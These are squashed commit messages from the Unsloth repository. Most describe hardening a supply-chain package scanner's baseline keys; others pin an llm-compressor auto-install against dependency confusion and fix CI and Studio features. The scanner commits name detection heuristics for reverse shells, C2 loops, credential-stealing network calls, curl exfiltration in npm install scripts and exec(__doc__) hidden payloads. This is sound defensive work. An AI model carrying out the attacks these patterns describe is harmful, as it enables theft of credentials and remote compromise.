Extracted and narrowed from unslothai/unsloth#6543 by @TheJagStudio.
This keeps the startup/banner and text file encoding hardening separate from the already-merged Python code-exec UTF-8 fix in #6548.
Co-authored-by: Jagrat Patel <81472856+TheJagStudio@users.noreply.github.com>
* Pin llm-compressor auto-install to a vetted version range
install_llm_compressor() auto-installs llm-compressor on first use of an FP8/FP4
compressed export when it is not already present. The install command used the bare
package name, so pip resolved to whatever the configured index served; a compromised,
dependency-confused, or inflated-version ("999.0.0") release could then run under the
Unsloth process at install and import time.
Bound the automatic install to a vetted range
(_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.8.0,<0.13"), which the oneshot /
QuantizationModifier API this uses supports, so pip can no longer jump to an arbitrary
future or inflated version. An already-installed newer llm-compressor is still used
as-is (the import short-circuits), so this only constrains the auto-install, never a
user's own install.
Add UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the automatic install
entirely and require a manual, vetted install, for locked-down or air-gapped
environments. Update the manual-install hints to the pinned spec.
Add tests/saving/test_llm_compressor_install_pin.py: static (ast) guards that the spec
stays a bounded pin, that the install command never passes an unpinned llmcompressor
literal, and that the opt-out env gate is evaluated before any install runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Loosen llm-compressor auto-install ceiling to <1.0 so new models still export
The earlier <0.13 ceiling was too tight: brand-new architectures (for example
Qwen3_5ForConditionalGeneration / qwen3_5, gemma-4 MoE) can require a newer
llm-compressor, and _unsloth_save_compressed_tensors already fails with
"requires a newer llm-compressor" when a scheme is unavailable. Capping the
auto-install at 0.12 would block getting that newer release and break compressed
export for new models.
Widen to llmcompressor>=0.8.0,<1.0. pip still auto-installs the latest 0.x
(where new-architecture support lands), while the <1.0 ceiling continues to block
a jump to an inflated-version ("999.0.0") or 1.0+ dependency-confusion release.
An already-installed newer llm-compressor is still used as-is (the import
short-circuits), and UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL still forbids the
automatic install entirely for locked-down environments.
* Lower llm-compressor floor to 0.6.0 so supported old torch still resolves
The >=0.8.0 floor conflicts with the torch this install pins in its constraints
file. Unsloth supports torch>=2.4, but llm-compressor 0.7.0+ require torch>=2.7
(0.10+ need >=2.9, 0.12+ need >=2.10). On a supported torch 2.4-2.6 box pip then
has no candidate in [0.8.0, 1.0) and FP8/FP4 export fails before quantization.
Lower the floor to 0.6.0 (its metadata only needs torch>=1.7), which never
conflicts with any supported torch. pip still prefers the newest compatible
release, so modern torch continues to get the latest 0.x (0.12.0). The <1.0
ceiling that blocks an inflated-version supply-chain jump is unchanged.
Add a regression test asserting the floor stays <= 0.6.0.
* Cap llm-compressor auto-install ceiling to a vetted minor (<0.13)
A bare <1.0 ceiling still admits any 0.x, so an inflated "0.999.0" served by a
compromised or misconfigured index would win pip's highest-version selection --
the same dependency-confusion this pin is meant to block. Cap the ceiling to the
current vetted minor (<0.13) so that jump is blocked; bump it deliberately, after
vetting, when a newer llm-compressor is needed (e.g. for a brand-new architecture
scheme). Current new models are unaffected: 0.12.0 is < 0.13 and supports them.
The 0.6.0 floor (torch>=1.7 compatible) is unchanged, so resolution still works
across Unsloth's whole supported torch range (2.4 -> 0.6.0 ... 2.12 -> 0.12.0).
Add a regression test asserting the ceiling admits the current vetted release but
blocks an inflated 0.x and the next major.
* Trim comments in the llm-compressor pin (comment-only, no code change)
* Cap llm-compressor auto-install to the exact vetted patch (<=0.12.0)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* scan_packages: key baseline on matched-code hash
The baseline matched on (package, package-relative file, check), which
excluded the matched code, so a future finding of the same check in the
same file was suppressed regardless of what the code did. A malicious
future version of an already-baselined package could place a payload in
the same file under the same check and pass the enforcing gate.
Key the baseline on a hash of the matched code too. The hash is over the
deduped, sorted set of matched spans with L<NN>: line markers stripped, so
version bumps, line shifts and match reordering stay stable while new or
changed flagged code reopens the finding. Version is left out of the key so
routine dependency bumps do not reopen every entry. The hash is capped and
recomputable from the stored evidence.
Regenerate scan_packages_baseline.json against the current dependency set;
the hf-stack, studio and extras scan shards pass enforcing (no active
CRITICAL or HIGH).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_packages: refresh baseline for newer unsloth-zoo release
A newer unsloth-zoo published after the first regenerate added
tests/test_mlx_save_export_regressions.py, a benign test fixture
(temporary_location="/tmp/ignored") that trips the /tmp dropper check.
Regenerate the hf-stack shard against the current set so the entry is
allowlisted; studio and extras are unchanged.
* scan_packages: harden baseline loading against malformed JSON
Guard against a non-dict top-level baseline and non-dict entries so a
corrupt or hand-edited allowlist warns and fails closed instead of
crashing with AttributeError, and treat an explicit evidence: null as
empty.
* scan_packages: hash the full match set, keep indentation, strip only the marker
Address the evidence-hash review feedback:
- Capture every matching line, not the first three, so a payload appended
after existing matches in a baselined file and check reopens the finding
instead of riding the sample.
- Preserve leading indentation so a flagged line moved out of a guarded block
reads as changed.
- Strip only each span's prefix up to the first L<NN>: marker, so an L<NN>:
inside the matched code is kept and a change to it reopens the finding.
Evidence and its hash are stored in full and stay recomputable from the stored
field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with
no active CRITICAL or HIGH.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_packages: bind baseline evidence to full matched code
Address review feedback on the evidence-hash baseline key:
- Split evidence only on real span delimiters (" | " before an L<NN>:
marker, or a newline), so a bitwise-or or union type in matched code
is no longer split apart into separate spans.
- Record matched lines in full (drop the 160-char per-line cap) and
record every distinct multiline match, so code appended past the cap
or a second cross-line match reopens the finding instead of riding the
first one.
- Give the large-JS-bundle and .pth base64-blob findings a content
digest instead of empty or prefix-only evidence, and record all .pth
import lines, so a changed bundle, blob or import no longer inherits a
baselined empty or truncated key.
- Warn when a loaded baseline has entries without evidence_hash so a
legacy baseline is regenerated rather than silently degraded.
Regenerate scripts/scan_packages_baseline.json against the current dep
set and add regression tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_packages: harden multiline and duplicate evidence handling
Follow-up hardening so the evidence hash tracks the full matched code:
- For DOTALL patterns that match across lines, record every line the match
spans (not just the start line), so a change on a continuation line (the
URL inside a baselined C2 loop, a swapped credential path) reopens the
finding. A pathological greedy span is bounded to its head line plus a
digest of the rest.
- Keep duplicate spans in the canonical evidence so a second identical
matched line in a new code path changes the key instead of deduping away.
- Anchor the evidence prefix to strip only a genuine leading label or
line-number marker, leaving a marker-like "L<NN>:" inside raw .pth code
intact.
- Make the legacy-baseline warning explicit that entries without an
evidence_hash reopen rather than suppress under a coarse key.
Regenerate scripts/scan_packages_baseline.json (same finding set; entries
for same-file repeated checks are now tracked separately) and add tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_packages: bind every combo and large finding to its full content
Close the remaining asymmetric-evidence gaps so a changed payload cannot
ride a reviewed baseline entry:
- Digest a capped multiline span from the code without line markers, so a
pure line shift stays stable while a continuation-line change reopens.
- Give the "Unusually large executable .pth" finding a content digest
instead of keying on byte size and import-line count alone.
- Record both contributing signals for the JS credential+network stealer,
the shell credential+network and persistence-hook combos, and the hidden
network+exec docstring payload, so changing the network/exec side reopens.
- Allow punctuation in an evidence label prefix so a "network+exec:" label
is stripped and line shifts do not change the key.
Regenerate scripts/scan_packages_baseline.json and add tests for each case.
* scan_packages: bind remaining Python combos; key npm baseline on evidence
Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob
combos recorded only one contributing signal, so a changed payload on the other
side could ride a reviewed baseline entry. Each now binds every co-occurring
signal (and the blob is digested, since it can sit on a separate line from the
decode call).
npm scanner: scan_npm_packages.py keyed its allowlist on (package, path,
pattern) only, the same coarse-key bypass the Python scanner just closed. Add an
evidence hash to the key (schema v3, fail-closed on older baselines) and store
full evidence. The committed baseline stays empty by design.
Regenerate scripts/scan_packages_baseline.json and add tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_npm_packages: bind full blob evidence and harden baseline loader
Follow-up on the npm evidence-hash key:
- _evidence now records every match and, when a snippet is truncated for
display, appends a digest of the full match. The obfuscated-blob key was
hashing only the truncated first-match snippet, so a changed payload tail or
an appended blob in the same package/file/pattern could ride a reviewed entry.
- _load_baseline guards that the root is an object, entries is a list, and each
entry is a dict before reading it, so a malformed baseline warns and fails
closed instead of raising AttributeError.
Add tests for a changed blob tail reopening the key and for malformed entries.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan_packages: symmetric baseline-loader guards; bind npm outbound host context
- Python _load_baseline now rejects a non-list "entries" with a warning instead
of raising TypeError, matching the npm loader.
- npm cred-surface-host (outbound) records the host with its URL path / fetch
call / host config, so a changed outbound path, headers or body reopens the
key rather than riding the bare host literal.
Add tests for both.
* scan_npm_packages: migrate v2 baselines and bind host-config outbound context
- _load_baseline now migrates schema v2 entries by recomputing the evidence
hash from stored evidence (with a legacy warning), matching the Python
loader, instead of discarding them; only pre-v2 basename schemas are rejected.
- The cred-surface-host (outbound) host-config branch now captures the whole
line (path, headers, body), so a changed outbound payload on the same
hostname line reopens the key instead of riding the bare host snippet.
Add tests for v2 migration and the host-config context binding.
* scan packages: bind PEM key bodies and npm windowed evidence to baseline keys
scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END)
via a content digest, so a key body swapped under the same marker reopens the
finding instead of riding the unchanged BEGIN line. Single-line and DER keys
were already bound by their full matched line; marker-only references with no
END block (validation header lists) are unaffected, so the committed baseline
is unchanged.
scan_npm_packages: _evidence now digests the full containing line whenever the
shown snippet is only a window into it (short match on a long line, or a
truncated payload), so a changed payload tail outside the display window
reopens the key. The npm baseline is empty, so this changes no suppressions.
Adds regression tests for both cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan packages: bind multi-line evidence and every blob to baseline keys
_extract_evidence now extends each single-line match over its bracket
continuations, so a multi-line call binds its argument lines and a changed
URL or body on a continuation line reopens the key. After the per-line pass it
also records cross-line matches the scan cannot otherwise see (a DOTALL regex,
or a multi-line construct appended under a check that already had a one-line
match), so an appended multiline payload reopens instead of riding the key.
_blob_digest hashes every large base64 blob (not just the first) for the
base64+exec finding and the .pth large-blob finding, so an appended or swapped
second encoded payload reopens; single-blob files keep the same digest.
scan_npm_packages _evidence digests the full logical line (the matched line
plus its bracket-continuation lines), so a multi-line fetch's option and header
lines bind and a changed payload on a following line reopens the outbound key.
Regenerated the Python baseline: same package/file/check set, 24 entries pick
up the wider multi-line evidence. Adds regression tests for each case.
* scan packages: stop giant greedy spans from binding a whole-file digest
When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has
its anchor tokens far apart, the match span covers the whole file. Digesting
that span bound thousands of unrelated lines, so the evidence hash drifted on
any edit between the anchors (a dependency bump reshuffling the file), which
made a baselined finding reopen on an upstream release. The multiline pass now
skips an oversized span when the per-line pass already bound the signal lines,
so the evidence is the stable matched lines; a genuinely appended multi-line
construct stays under the cap and is still recorded.
Regenerated the Python baseline against Python 3.12 (the version the scan CI
shards run) so the resolved dependency set matches CI. Same package/file/check
set. Adds a regression test.
* scan packages: tighten evidence binding (order, string brackets, span size)
Address review follow-ups on the evidence extraction:
- _canon_evidence keeps discovery (line) order instead of sorting. Line-shift
stability already comes from stripping the L<NN>: markers, so order stays
significant and reordering matched lines (a multi-line call's arguments)
reopens the finding.
- _logical_line_end (Python) and _logical_line_text (npm) blank string literals
before counting brackets, so a ) inside a string argument does not close the
logical line early and drop later argument lines.
- The oversized-span skip now only drops a giant whole-file bridge (over 60
lines); a genuinely appended multi-line construct is recorded so its payload
reopens, rather than riding an existing one-line match.
- npm _logical_line_text binds the enclosing bracket group, so a host-config
object whose { is on a prior line binds its path/headers/body lines.
Regenerated the Python baseline (Python 3.12, matching the scan CI shards):
same package/file/check set. Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan npm packages: normalize and bound the logical-line digest
- _evidence whitespace-normalizes the logical line before digesting (matching
_evidence_hash), so a formatter-only reindent of the bound continuation lines
does not change the sha256 suffix and reopen an unchanged finding.
- _logical_line_text follows a bracket group to its close up to a hard 200-line
cap (digest input only), so a config object longer than the backward window
still binds its whole tail instead of silently truncating.
Adds regression tests. npm baseline is empty, so no regeneration is needed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan: cap single-line evidence and widen npm opener window
Cap each rendered evidence line at 200 chars in scan_packages.py: a long
or minified one-line file is shown as a bounded prefix plus a sha256 of the
full line, so a packed payload cannot dump unbounded content into the CI
logs or baseline while a change past the cutoff still changes the digest
and reopens the finding. Mirrors how the npm scanner bounds its snippets.
Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric
with the forward cap) so a host deep inside a large options object binds
the whole object, not just its own line; a changed path, header, or body on
any property reopens.
Regenerate the Python baseline with Python 3.12: only the protobuf
nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new
line cap; the package/file/check key set is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* scan: bind all host contexts, deep call continuations, far-back npm openers
Three fail-closed evidence gaps surfaced by review of the previous round.
scan_npm_packages.py: measure the forward bracket-group cap from the matched
line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near
the widened backward limit no longer consumes the forward budget and drops
the path, headers, or body that follow the host.
scan_npm_packages.py: _outbound_host_evidence now records every outbound
context form for a host (URL, fetch-context, host-config), claiming each
non-overlapping match in form order, so a separate host-config request added
beside an already-baselined URL changes the evidence and reopens the key.
The common single-context case keeps its existing snippet.
scan_packages.py: follow a matched Python call over its continuations up to a
separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold,
so a multi-line requests.post( binds its whole argument list in the digest
and a changed body deep in the call reopens; bounded so a miscounted bracket
cannot swallow unrelated code. No baseline change: the current dependency set
has no matched call that closes between 13 and 40 lines, confirmed by a
Python 3.12 regenerate that produced a byte-identical baseline.
* scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump
Four fail-closed evidence gaps surfaced by review of the previous round.
scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading
unmatched closer (a preceding block whose opener is outside the backward
window) no longer drives depth negative and masks the real enclosing opener
that follows; a host-config object after such a block now binds and a changed
path reopens.
scan_packages.py: a large JS bundle now pins its whole content even when
another JS heuristic already fired. The bundle digest was only added when no
other finding existed; it is now appended to every finding's evidence on a
large bundle, so an unchanged obfuscation signature no longer lets changed
payload elsewhere ride the matched-line key.
scan_packages.py: _logical_line_end follows explicit backslash line
continuations, so a call split with a backslash before its parenthesis binds
the continuation line (URL/body) instead of returning at the zero-depth API
line.
scan_packages.py: the catch-all .pth import evidence is bounded through
_cap_line (prefix plus a digest of every line) so a large .pth of benign
imports cannot dump the whole member into the logs or baseline while an
appended or swapped import still reopens.
Baseline regenerated with Python 3.12: key set unchanged; one entry
(unsloth-zoo compiler.py) gains the backslash-continued banner lines now
bound by the continuation fix.
* scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence
Addresses a review round plus a performance audit of the evidence extractor.
Correctness (fail-closed):
- Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans
in both scanners. The multi-line view blanks a triple-quoted Python string or a
backtick template literal that spans lines, so a `)` inside such a string no
longer closes the enclosing call early and drop later arguments. The single-line
view still counts a payload embedded INSIDE a string, so a dropper that hides a
call in a string keeps its argument lines bound. Taking the larger span never
shrinks the binding below either view, avoiding a fail-open regression.
- cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so
a changed non-token line (e.g. adding a curl exfil beside the token reference)
reopens, not just a change on the token line.
Performance / DoS (the scanner runs on attacker-controlled package files up to the
64 MiB / 16 MiB member caps, with no per-file time budget):
- _extract_evidence precomputes newline offsets once and maps match offsets with
bisect, removing the O(matches) whole-file content.count per match that made the
finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and
hours at the cap to linear).
- npm _index_text splits and string-blanks the file once per evidence call instead
of per match (was O(matches x file) time and allocation).
- Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES
(npm) fold the remainder into a digest so a file with thousands of matches cannot
build a multi-megabyte evidence/baseline blob while an added/removed match past
the cap still changes the key.
- _outbound_host_evidence caps matches per form and bounds the overlap claim so a
host repeated many times cannot make it quadratic.
No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the
legacy single-line span for every current dependency file; the cap thresholds sit
above the largest real entry), so these are forward-looking hardening with no drift.
* scan: count all overflow matches, bind their context, blank JS regex literals
Follow-ups on the evidence output caps from the previous commit.
- _outbound_host_evidence no longer truncates each pattern's match iterator with
islice; it iterates every match and runs the overlap dedup only while the
display list is below the cap (so claimed stays bounded and the check is O(cap)
per match, not quadratic), folding every match past the cap into the overflow
digest. A host context beyond the 64th is counted again, so it reopens.
- The overflow digest (both scanners, via a shared _overflow_digest) binds each
overflow match's logical-line context, not just the regex match text, so a
changed payload on an over-cap line reopens even with the matched token
unchanged.
- The multi-line JS blanked view now blanks regex-literal bodies (tracking the
previous significant char for regex-vs-division and char classes for a literal
`/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call
early. The bound span is the union of the single-line and multi-line views, so
an imperfect regex decision only ever grows the span, never shrinks it.
- The Python overflow digest canonicalizes spans (strips L<NN>: markers via
_canon_evidence) before hashing, restoring line-shift stability for the
over-cap region.
No baseline change: the overflow branches only trigger above the per-finding caps
(above the largest real entry), and the npm baseline is empty, so a Python 3.12
regenerate is byte-identical.
* scan: refresh baseline for ipython interactiveshell.py span drift
A newer ipython release changed the filesystem-enumeration span in
IPython/core/interactiveshell.py, so its content digest no longer matched the
baselined evidence and the studio scan shard flagged it as a non-baselined
CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash
changes; the package/file/check key set is unchanged, and a studio enforcing
spot-check exits 0.
* Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size
scan_packages.py: _extract_evidence no longer materializes a rendered span
per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS
spans, further spans fold straight into a running digest, so a minified or
padded file with hundreds of thousands of matching lines keeps memory bounded
to the display cap instead of the match count. The fold reproduces
_canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and
every baseline key are unchanged.
scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the
entire install script body as evidence, so --write-baseline on a package with a
multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded
matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The
digest still binds the whole body, so a change to any line reopens the finding.
Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle
evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make npm bracket-group scan order-aware so a same-line close-then-open binds
_scan_group counted brackets with a per-line net (opens minus closes), which
collapses intra-line order: a line that closes a prior block and then opens the
host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so
the trailing `{` was dropped and the group started at the hostname line. A
changed path/headers on the following lines then hashed to the same evidence and
could ride an existing baseline key.
Replace the net count with an order-aware (L, R) reduction per line (L closers
needing an opener to the left, R openers needing a closer to the right) and apply
it in order in both the backward and forward scans, clamping stray closers at 0.
The trailing opener now stays visible so the whole object binds and a changed
payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the
existing outbound-host evidence is byte-identical on all prior shapes; only the
previously-dropped same-line case changes. Adds a regression test for it.
* Harden scanner evidence: bound memory and bind Python call tails fail-closed
Five fixes across both scanners, none of which change the committed baseline (a
full regen of all three pip shards produced a byte-identical 185-key set).
scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex
match into a list before applying the 64-match display cap, so a text file under
the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times
could allocate a huge list of re.Match objects and stall or OOM before the
overflow digest ran. They now stream from finditer and fold overflow as matches
arrive via a shared _fold_overflow_match helper, byte-identical to the prior
digest.
scan_packages.py:
- _extract_evidence kept inserting every unique over-cap span into the seen set
even after it stopped appending to the display list, so a generated file with
millions of one-line matches still grew that set unbounded. It now tracks spans
only while filling the display list (per-line spans are unique by line number,
so dropping them past the cap cannot miss a dedup).
- _scan_line_end counted brackets with a per-line net, so a continued statement
that closes on the same line it opens a flagged call (a leading "]" before
"requests.post(") had the call's open paren cancelled and bound only the opener
line. It now applies brackets in order via _bracket_lr (leading closers clamp at
0), matching the npm bracket fix.
- a single-quoted string continued by a trailing backslash was not tracked across
lines, so a close paren inside the continued string on the next line closed the
call early; _blank_code_strings now carries the continuation.
- a call with more argument lines than the soft cap was hashed only through the
cap, so a changed data=/headers tail past it stayed suppressed; a closing call
is now followed to its real close under a 200-line hard limit (a never-closing
opener still stops at the 40-line soft cap so it cannot swallow the file).
Adds regression tests for each. npm baseline is empty; the Python baseline is
unchanged (verified byte-identical by regenerating all three shards).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Bind giant DOTALL span anchors and add context to constant IOC evidence
Two fail-closed gaps where a changed payload could keep the same evidence hash
and stay suppressed by the baseline.
scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging
more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later
subprocess line) was dropped entirely once the per-line pass had any match, so an
appended cross-line payload -- a new /tmp line plus a later subprocess line that
share no single line, so the per-line pass never binds them -- produced the same
evidence and rode the key. The span is no longer dropped: it is bound by its head
and tail anchor lines plus a digest over just those (no line numbers, so a pure
line shift is stable). An added or moved anchor reopens the finding, while churn
in the bridged interior stays stable, so this does not reintroduce whole-file
drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry
such a span and are refreshed; a full three-shard regen confirmed only those two
keys change.
scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded
only the bare needle/host as evidence, so a reviewed tarball that kept the IOC
string while altering the adjacent fetch/exfil body produced an identical key.
They now bind matched-line context: known-ioc-string via the matched line and its
bracket-group continuation, cred-surface-host (always-bad) via the outbound call
context (path/headers/body, falling back to the bare host when not in an outbound
call). A changed payload on the same call now reopens.
Adds regression tests for each. npm baseline is empty; the Python baseline updates
only the two giant-span entries.
* Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace
Four fail-closed gaps where a changed payload could keep the same evidence hash.
scan_packages.py:
- A giant bridged DOTALL span was bound only by its head and tail anchors, so a
cross-line payload inserted into the bridged interior between unchanged outer
anchors kept the same key. The whole span content is now digested (via _render),
so any interior change reopens; a pure line shift stays stable because the digest
is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo
scanner file) carry such a span; with full-interior binding, multiprocess
resolved at two versions across shards now yields two distinct entries where the
anchor digest had collapsed them into one.
- The exec/eval-with-hidden-payload findings omitted the visible exec/eval line
that makes the hidden string executable, so flipping a harmless eval("1+1") to
exec(__doc__) kept the same key while arming the payload. The trigger line from
the real-code view is now bound into the evidence.
- check_js_file extracted evidence with the Python-string-aware extractor, which
does not blank JS backtick template literals, so a template containing a close
paren closed a call's bracket span early and omitted later option/body lines. The
full file content digest is now pinned to every JS finding (not just large
bundles), binding the whole call.
scan_npm_packages.py: the evidence canon collapsed all whitespace via split(),
erasing whitespace inside JS string literals along with harmless indentation, so a
changed request body 'a b' -> 'a b' kept the same key. A new _canon_preserve_strings
collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving
it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the
evidence hash and the logical-line digests.
Adds regression tests for each. npm baseline is empty; the Python baseline updates
the two giant-span entries and adds the second multiprocess version's entry.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio RAG: disable trust_env on loopback llama-server httpx clients
The RAG embedder health probe (embed_llama_server.py), its pooled httpx.Client, and the vision captioner (captioner.py) call the local 127.0.0.1 llama-server with httpx's default trust_env=True, so an ambient HTTP(S)_PROXY that returns 503 for loopback breaks embedder startup and captioning. Set trust_env=False on these loopback clients, matching the existing fix on the main llama_cpp and inference clients. External provider calls are untouched.
Follow-up to the loopback trust_env fix; covers the remaining local llama-server clients in the RAG path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio RAG tests: accept trust_env kwarg in captioner httpx.post mocks
The loopback captioner now passes trust_env=False; update the _vision_complete
fake_post stubs to accept it and assert it is False.
* Trim comments in Studio RAG trust_env fix (comment-only)
* RAG trust_env test: explicit UTF-8 read + scan all package .py files
Addresses review: utf-8 open avoids a Windows decode error, and scanning every
.py in core/rag catches any future file that adds an httpx call.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* MLX CI: find llama-cli where save_pretrained_gguf actually installs it
The GGUF reload step hardcoded the CWD-relative paths llama.cpp/llama-cli and
llama.cpp/build/bin/llama-cli, but save_pretrained_gguf builds and installs llama.cpp
under unsloth_zoo's LLAMA_CPP_DEFAULT_DIR ($UNSLOTH_LLAMA_CPP_PATH, else
~/.unsloth/llama.cpp), so the reload could not find the binary and failed the Mac M1
job with "llama-cli not found". _find_llama_cli now searches that install directory
(and honors the env override) before falling back to the old CWD layout, with a
recursive glob as a last resort. The search is a strict superset of the previous
paths, so it cannot regress a layout that already worked.
* MLX CI: return an absolute llama-cli path from the locator
Resolve the located binary to an absolute path. If UNSLOTH_LLAMA_CPP_PATH is a
relative directory (e.g. "."), Path(".") / "llama-cli" normalizes to the bare name
"llama-cli", and subprocess.run treats a separator-less argument as a PATH lookup
rather than a file to execute, raising FileNotFoundError. resolve() makes the returned
path absolute so it always runs the intended binary.
* MLX CI: give llama-cli EOF on stdin so GGUF reload cannot hang
With the binary now found, the GGUF reload actually invokes llama-cli and it timed
out after 300s generating 24 tokens on a 270m model, which is a stdin block rather
than slow generation: subprocess.run captured stdout/stderr but left stdin inherited,
so -no-cnv still left llama-cli waiting for interactive input. Pass
stdin=subprocess.DEVNULL so it receives an immediate EOF and runs the single prompt to
completion.
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Condense the verbose comments and docstrings added by the recent
chat template, GPT-OSS detection, PEFT tensor-parallel, and Studio
inference proxy fixes. Comments and whitespace only; no code changes.
check_js_file put the bundle's KB size inside the finding's check label, which is
part of the baseline match key (package, file, check). When tensorboard's
projector_binary.js grew from 1918 KB to 1933 KB, the reviewed baseline entry stopped
matching and the benign HIGH resurfaced, red-failing the studio and extras
scan-packages shards. Move the size into the evidence field (shown for review, not
matched) and keep the check label constant, then update the one tensorboard baseline
entry to the size-agnostic label. The finding is suppressed again and will not
re-break when the bundle grows by a few KB. Scanner self-tests pass unchanged.
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* add models for /update endpoint
* add logic for identifying out of date hf models
* add endpoint for updating hf models
* add relevant field to GgufVariantDetail
* make exception handling better
* add update_available flag for cached_models, and moved /update endpoint from inference -> models
* hook up /update endpoint on the frontend
* implement update scenarios for the model picker
* fix bug where downloaded flag for an older revision was being wrongly set to false
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix import and make hf calls async
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* remove has_vision from UpdateRequest
* fix ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* clear cancel event before updating gguf variant
* set _cancel_event back if it was set initially
* add hf_token to get_paths_info
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: harden model update endpoint and update checks
- update_hf_model: pass snapshot_download local_dir (local_path is not a
valid kwarg and 500s when updating bicodec audio models)
- get_gguf_variants: wrap the remote update check so a network, rate-limit,
gated, or offline failure degrades to "no update info" instead of failing
the whole variant listing, matching list_cached_models
- add regression tests for both paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: HF model update detection and Update action for cached models
Surface an "Update available" cue and a managed Update action for cached
on-device models. /api/hub/update-status compares each cached main GGUF
file's local blobs against the remote main revision using set membership
across all cached revisions, so a repo that was already updated (and still
holds the old snapshot alongside the new one) is not falsely flagged.
The Update action re-downloads through the download manager so it shows in
the Downloads panel with progress and cancel. The frontend wires the Update
button into the GGUF, on-device, and model-selector cards and keeps the
quant label fully visible when the action buttons crowd the row.
Adds regression tests for the multi-revision update check.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: accept force_download kwarg in hf_xet_fallback test double
The download seam now passes force_download to the attempt callable; the _FakeAttempt mock did not accept it, failing 6 tests with TypeError. Add the keyword (default False) so the scripted-results double matches the seam.
* Fix Studio model update regressions
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address Studio update review feedback
* Address Studio update edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Share GGUF update status helper
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix GGUF update detection and cache cleanup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix cached GGUF update badges
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
